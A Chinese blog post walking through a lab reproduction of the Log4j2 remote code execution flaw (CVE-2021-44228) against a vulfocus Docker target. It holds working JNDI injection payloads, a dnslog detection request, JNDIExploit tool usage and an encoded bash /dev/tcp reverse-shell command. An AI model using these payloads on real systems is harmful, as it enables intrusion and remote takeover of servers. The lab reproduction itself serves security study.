欢迎您访问 最编程 本站为您分享编程语言代码,编程技术文章!
您现在的位置是: 首页

CVE-2021-44228 Apache Log4j2 远程代码执行漏洞

最编程 2024-03-13 20:20:21
...

要说2021年哪个漏洞最出名?莫过于Apache Log4j2。为什么出名?因为用的人多,漏洞本身危害也大。记得安全界的一位前辈说过,利用的人多了才叫漏洞,当年的身份信息泄漏那么严重,都不当回事儿。现如今,一点点小问题都可能上热搜。这篇文章是sukusec301本人在2021年12月19日对其做一次简单的研究探讨与复现,现在还在研究中。。。

2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。

2021年12月9日晚至10日,听闻百度还因此受到攻击。fofa网站当天进行了升级,并有了log4j2专题模块

image-20211213194038495
image-20220113214842990

0x00漏洞描述

Apache Log4j2是一款优秀的Java日志框架。2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。

漏洞适用版本为2.0 <= Apache log4j2 <= 2.14.1,只需检测Java应用是否引入 log4j-api , log4j-core 两个jar。若存在应用使用,极大可能会受到影响。

0x01漏洞原理

该漏洞的核心原理为,在正常的log处理过程中对 ${ 这两个紧邻的字符做了检测,一旦匹配到类似于表达式结构的字符串就会触发替换机制。

本次漏洞触发相当简单,只要使用了org/apache/logging/log4j/spi/AbstractLogger.java log进行记录,且log等级为可记录等级即可触发。

private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
  logger.error("${jndi:ldap://ip:1389/#Exploit}");
}

一旦在log字符串中检测到${},就会解析其中的字符串尝试使用lookup查询。

因此只要能控制log参数内容,就有机会实现漏洞利用。因此也可以使用如下方式触发:

logger.error("8881273asdf${jndi:ldap://ip:1389/#Exploit}aksdjfhuip8efas");

0x02漏洞复现

环境搭建

1、在kali上搭建漏洞环境

docker pull vulfocus/log4j2-rce-2021-12-09
docker run -tid -p 38080:8080 vulfocus/log4j2-rce-2021-12-09

2、访问kali的38080端口下的hello

http://192.168.23.3:38080/hello

漏洞检测

POC:

POST /hello HTTP/1.1
Host: 192.168.23.3:38080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 43

payload=${jndi:ldap://p0d7ce.dnslog.cn/exp}
1、抓包
image-20211213175209052
2、放入repeater,将GET改为POST。在请求正文添加一句话,将dnslog.cn替换成在dnslog生成的域名。
payload=${jndi:ldap://dnslog.cn/exp}

image-20211213175401060
3、send,然后一直刷新record,==出现此记录,说明存在==
image-20211213175537416

0x03漏洞利用——bash反弹

EXP

POST /hello HTTP/1.1
Host: 192.168.23.3:38080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 129

payload=${jndi:ldap://192.168.23.3:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4LjIzLjMvNTU1NSAwPiYx}

工具

https://github.com/welk1n/JNDI-Injection-Exploit这款工具是1.0版本的,还没有测试。但是我这里有个1.2版本的,挺好用

image-20211213180503598

复现步骤

1、使用这个工具,后面跟一个-i参数,命令如下
java -jar java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.23.3  #-i后面跟靶机IP
2、nc监听
nc -lvvp 5555
image-20211213192532077
3、POST数据包请求正文中输入下方payload,先别着急点击send
payload=${jndi:ldap://192.168.23.3:1389/TomcatBypass/Command/Base64/AAA}
image-20211213191738160
4、将上图的AAA替换成bash反弹命令
bash -i >& /dev/tcp/192.168.23.3/5555 0>&1
image-20211213191930902
5、重要的步骤,将bash反弹这串命令进行一次base64加密,再进行两次URL编码
  • base64编码
image-20211213192252520
  • URL编码,重复两次
image-20211213192347003
6、点击send,回去看
image-20211213192434518

原先的样子

image-20211213192750716

点击send后,shell回弹

image-20211213192848419

0x04总结

关于该漏洞的利用网上还有很多姿势,整体来讲漏洞利用简单,且漏洞危害巨大,配合一些其他服务及系统有可能产生更大的影响。

若想深入研究,找了一篇专门讲解原理的文章。

https://www.anquanke.com/post/id/262668